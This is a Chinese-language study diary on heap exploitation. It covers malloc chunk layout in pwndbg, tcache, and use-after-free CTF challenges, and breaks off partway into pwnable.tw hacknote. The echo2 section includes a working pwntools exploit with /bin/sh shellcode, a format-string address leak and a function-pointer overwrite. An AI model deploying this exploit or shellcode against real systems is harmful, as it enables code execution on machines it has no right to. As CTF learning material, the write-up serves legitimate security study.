Pwn学习日记-4
堆#
太复杂了,我操
就听在那说,也没有构成完整的体系。还是自己找资料吧
第10集不用看了,直接看陈老师的:https://www.yuque.com/hxfqg9/bin/nvrgrs
实际上堆先学的是:malloc内存管理
推荐阅读:malloc内存管理总结 ↗
鸡老师的:malloc源码分析 ↗ 夯爆了
大致有了个雏形,但是还是混乱。看了張元的视频,重新整理一下,讲得很不错,ppt和视频我都上传到B站了。后面由于时间问题很多也省略了。
堆调试#
1❯ cat heap.c
2#include<stdio.h>
3#include<stdlib.h>
4
5int main(){
6 void *p1, *p2;
7 p1 = malloc(0x30);
8 p2 = malloc(0x30);
9 free(p1);
10 free(p2);
11 return 0;
12}
13❯ gcc -m32 -g heap.c -o heap_32c执行完两个malloc后,看堆:
1pwndbg> heap
2pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
3This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
4
5Allocated chunk | PREV_INUSE
6Addr: 0x5655a008
7Size: 0x190 (with flag bits: 0x191)
8
9Allocated chunk | PREV_INUSE
10Addr: 0x5655a198
11Size: 0x40 (with flag bits: 0x41)
12
13Allocated chunk | PREV_INUSE
14Addr: 0x5655a1d8
15Size: 0x40 (with flag bits: 0x41)
16
17Top chunk | PREV_INUSE
18Addr: 0x5655a218
19Size: 0x21de8 (with flag bits: 0x21de9)text可以看到第一个Allocated chunk是系统初始化的chunk,p默认是1。
第二、三个chunk是我们创建的,pwndbg为了方便调试,这里显示的是header的地址,其理论空间为:0x30(手动创建的空间) + 0x4(size) + 0x4(prev_size)=0x38,由于16字节对齐,所以向上取整,是0x40空间,加上flag是0x41
Q:1是存在size末尾的,为什么算到总共的空间中?
A:由于对齐,所以空间只能是16字节倍数,那个1实际上是用来标记p的,堆管理器在读取大小的时候会将这个1抹去。
看一下p1的chunk空间:
1pwndbg> x/20x 0x5655a198
20x5655a198: 0x00000000 0x00000041 0x00000000 0x00000000
30x5655a1a8: 0x00000000 0x00000000 0x00000000 0x00000000
40x5655a1b8: 0x00000000 0x00000000 0x00000000 0x00000000
50x5655a1c8: 0x00000000 0x00000000 0x00000000 0x00000000
60x5655a1d8: 0x00000000 0x00000041 0x00000000 0x00000000
7pwndbg> x/20x p1
80x5655a1a0: 0x00000000 0x00000000 0x00000000 0x00000000
90x5655a1b0: 0x00000000 0x00000000 0x00000000 0x00000000
100x5655a1c0: 0x00000000 0x00000000 0x00000000 0x00000000
110x5655a1d0: 0x00000000 0x00000000 0x00000000 0x00000041
120x5655a1e0: 0x00000000 0x00000000 0x00000000 0x00000000text98到c8都是p1 chunk,d8刚好是p2 chunk的地址。可以知晓是连续的,上面也能看出代码里p1地址是userdata的起始地址,pwndbg显示的是header起始地址。
free后:
1pwndbg> heap
2Allocated chunk | PREV_INUSE
3Addr: 0x5655a008
4Size: 0x190 (with flag bits: 0x191)
5
6Free chunk (tcachebins) | PREV_INUSE
7Addr: 0x5655a198
8Size: 0x40 (with flag bits: 0x41)
9fd: 0x5655a
10
11Free chunk (tcachebins) | PREV_INUSE
12Addr: 0x5655a1d8
13Size: 0x40 (with flag bits: 0x41)
14fd: 0x5650c4fa
15
16Top chunk | PREV_INUSE
17Addr: 0x5655a218
18Size: 0x21de8 (with flag bits: 0x21de9)
19
20pwndbg> x/20x 0x5655a198
210x5655a198: 0x00000000 0x00000041 0x0005655a 0xf3fe8505
220x5655a1a8: 0x00000000 0x00000000 0x00000000 0x00000000
230x5655a1b8: 0x00000000 0x00000000 0x00000000 0x00000000
240x5655a1c8: 0x00000000 0x00000000 0x00000000 0x00000000
250x5655a1d8: 0x00000000 0x00000041 0x5650c4fa 0xf3fe8505text可以看到p1的chunk被放到了tcache bins里面,而且多了fd的值,在第一行的第三个单元,也就是之前的用户空间。
这里超纲了,还没学tcache,而且这里有指针保护,fd是运算过的,第四个单元是key字段貌似是tcache的地址。
如果是老版本没有tcache,这里应该显示fastbins。
p2的chunk 里面的fd也是运算的,老版本应该是p1的地址
fd、bk是free后才有,把userdata前几个字节拿来保存,形成链表,像 tcache 和 fastbin 这种单向链表,通常只有 fd,而unsort bins都有,它是双向循环链表。
张元讲得真好
UAF#
1pwndbg> checksec
2File: /home/pwn/Desktop/NTU-Computer-Security/week3/uaf/share/uaf
3Arch: amd64
4RELRO: Full RELRO
5Stack: Canary found
6NX: NX enabled
7PIE: PIE enabled
8FORTIFY: Enabled
9Stripped: Notext伪代码:
1int __fastcall main(int argc, const char **argv, const char **envp)
2{
3 int v5; // [rsp+8h] [rbp-18h]
4 unsigned int nbytes; // [rsp+Ch] [rbp-14h]
5 void (**nbytes_4)(void); // [rsp+10h] [rbp-10h]
6 void *buf; // [rsp+18h] [rbp-8h]
7
8 init(argc, argv, envp);
9 nbytes_4 = malloc(0x10u);
10 *nbytes_4 = welcome_func;
11 nbytes_4[1] = bye_func;
12 (*nbytes_4)();
13 free(nbytes_4);
14 v5 = 3;
15 while ( v5-- )
16 {
17 printf("Size of your message: ");
18 nbytes = read_int();
19 buf = malloc(nbytes);
20 printf("Message: ");
21 read(0, buf, nbytes);
22 printf("Saved message: %s\n", buf);
23 free(buf);
24 }
25 nbytes_4[1]();
26 return 0;
27}cnbytes_4开辟了16字节空间,定义了俩函数。ida里面点中nbytes_4,发现while里面没有高亮,只有倒数第二行有,漏洞很明显,倒数第二行,调用了free过的函数。
他while跑完就会崩:
1❯ ./uaf
2Hello ~~~
3Size of your message: 100
4Message: KKKKKKKKQQQQQQQQ
5Saved message: KKKKKKKKQQQQQQQQ
6
7Size of your message: 100
8Message: qwert
9Saved message: qwert
10
11Size of your message: 100
12Message: qwert
13Saved message: qwert
14
15zsh: segmentation fault (core dumped) ./uaftext根据first fit原理,我让它开辟一个16字节的空间,它都会使用nbytes_4free 掉的空间。16是0x10,加上header已经是0x20,这已经刚刚好是16倍数了,精确使用16即可。
打印我输入的message后,会leak之前的bye_function地址,然后求出base地址,计算backdoor地址。
由于老师用的ubuntu 18,我是22,很多时候由于指针加密和tcache搞得很麻烦。不过原理是相通的
下面两道题目是星盟那个课的说实话,没太听懂,原理我知道,但是自己做不出来,总是在某些细节写不出来。
打算复习一下栈溢出先。
fmtstr_uaf#
1❯ checksec echo2
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/fmtstr_uaf/echo2'
3 Arch: amd64-64-little
4 RELRO: Partial RELRO
5 Stack: No canary found
6 NX: NX unknown - GNU_STACK missing
7 PIE: No PIE (0x400000)
8 Stack: Executable
9 RWX: Has RWX segments
10 Stripped: Notext运行了一下,4个选项,1:不支持,2和3都是打印我输入的名字。4是问我要不要退出,第一次我写了n,取消退出。再次按4触发doublefree
ida:
1int __fastcall main(int argc, const char **argv, const char **envp)
2{
3 _QWORD *v3; // 定义一个指针
4 unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
5 _QWORD v6[4]; // v6大小为4 * 8 = 32字节
6
7 setvbuf(stdout, nullptr, 2, 0);
8 setvbuf(stdin, nullptr, 1, 0);
9 o = malloc(0x28u); //开辟40字节空间,5字长
10 *(o + 3) = greetings; //o[3]=greetings
11 *(o + 4) = byebye; //o[4]=byebye
12 printf("hey, what's your name? : ");
13 __isoc99_scanf("%24s", v6); // 往 v6 这块内存写入 最多 24 字节字符串 + '\0'
14 v3 = o; // 把o赋给v3,v3和o指向同一块chunk
15 *o = v6[0]; // 第一个Qword给o[0],后面以此类推
16 v3[1] = v6[1];
17 v3[2] = v6[2];
18 id = v6[0]; //再给id一次
19 getchar(); //吃掉缓冲区里剩的换行符,防止影响后面输入输出
20 func[0] = echo1; // 把函数名存在数组里
21 qword_602088 = echo2; //实际上是func[1],由于IDA没识别出结构,这里根据每次+8推导出来的,双击func看地址
22 qword_602090 = echo3;
23 for ( i = 0; i != 121; i = getchar() ) // 按r,121是'y'的ASCII,getchar是每轮循环结束读取一个字符
24 {
25 while ( 1 )
26 {
27 while ( 1 )
28 {
29 puts("\n- select echo type -");
30 puts("- 1. : BOF echo");
31 puts("- 2. : FSB echo");
32 puts("- 3. : UAF echo");
33 puts("- 4. : exit");
34 printf("> ");
35 __isoc99_scanf("%d", &i); //输入i
36 getchar(); //清除最后的换行符
37 if ( i > 3 )
38 break;
39 (func[i - 1])(); //不大于3的话,调用对应函数。
40 }
41 if ( i == 4 ) //4的话跳出循环
42 break;
43 puts("invalid menu");
44 }
45 cleanup(); //直接清理
46 printf("Are you sure you want to exit? (y/n)"); //询问是否退出
47 }
48 puts("bye");
49 return 0;
50}c可以看到,选项4执行了break跳出循环,然后执行cleanup,但是此时我并没有开始选择是否退出,他就cleanup了,选择否后,再次按4,又进行了一次cleanup,所以double free
echo2:
1__int64 echo2()
2{
3 char format[32]; // [rsp+0h] [rbp-20h] BYREF
4
5 (*(o + 3))(o); // o[3](o) , 调用greetings函数
6 get_input(format, 32); // 往 format 里读最多 32 字节
7 printf(format); // 格式化字符串漏洞
8 (*(o + 4))(o); // o[4](o) , 调用 byebye 函数
9 return 0;
10}cecho3:
1__int64 echo3()
2{
3 char *s; // [rsp+8h] [rbp-8h]
4
5 (*(o + 3))(o); // greetings(o)
6 s = malloc(0x20u); // 分配 32 字节堆块
7 get_input(s, 32); // 读入32字节内容到s
8 puts(s); // 打印出来
9 free(s); // 释放s
10 (*(o + 4))(o); // byebye(o)
11 return 0;
12}ccleanup:
1void cleanup()
2{
3 free(o); // 释放o堆块
4}C有点思路了,现释放o,再用s创建一下占用o的空间,再格式化字符串漏洞写数据到某个位置。
echo3有个UAF,可执行自定义函数,但是远程肯定有ASLR,所以用echo2的fmtstr漏洞泄露地址。
o的空间是0x28,在cleanup后被free。echo3里开辟s的空间是0x20,根据first fit原理,s用o的空间,0x20是3字长,所以会用o的前四字长,而o[3]是greeting,这里改写s的之后,即使s被释放,但不影响o调用数据。o在哪里调用呢?还是echo3的第一行,o[3](o)
exp要删去最后的hello:
1from pwn import *
2
3p=process("./echo2")
4elf=ELF("./echo2")
5
6p.recvuntil("hey, what's your name? : ")
7shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
8p.sendline(shellcode)
9p.recvuntil(b"> ")
10p.sendline(b"2")
11
12payload=b"%10$p"+b"A"*3
13p.sendline(payload)
14p.recvuntil(b"0x")
15shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20
16
17
18p.recvuntil(b"> ")
19p.sendline(b"4")
20p.recvuntil(b"to exit? (y/n)")
21p.sendline(b"n")
22
23p.recvuntil(b"> ")
24p.sendline(b"3")
25# p.recvuntil(b"hello \n")
26p.sendline(b"A"*24+p64(shellcode_addr))
27p.interactive()pythonpwnable.tw hacknote(heap1)#
1❯ checksec hacknote
2[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwnable.tw hacknote/hacknote'
3 Arch: i386-32-little
4 RELRO: Partial RELRO
5 Stack: Canary found
6 NX: NX enabled
7 PIE: No PIE (0x8048000)textida,已重命名变量:
1void __noreturn main()
2{
3 int index; // eax
4 char buf[4]; // [esp+8h] [ebp-10h] BYREF
5 unsigned int v2; // [esp+Ch] [ebp-Ch]
6
7 v2 = __readgsdword(0x14u);
8 setvbuf(stdout, nullptr, 2, 0);
9 setvbuf(stdin, nullptr, 2, 0);
10 while ( 1 )
11 {
12 while ( 1 )
13 {
14 menu();
15 read(0, buf, 4u);
16 index = atoi(buf);
17 if ( index != 2 )
18 break;
19 delete();
20 }
21 if ( index > 2 )
22 {
23 if ( index == 3 )
24 {
25 print();
26 }
27 else
28 {
29 if ( index == 4 )
30 exit(0);
31LABEL_13:
32 puts("Invalid choice");
33 }
34 }
35 else
36 {
37 if ( index != 1 )
38 goto LABEL_13;
39 add();
40 }
41 }
42}cmain没什么好说的,主要在每个分支函数。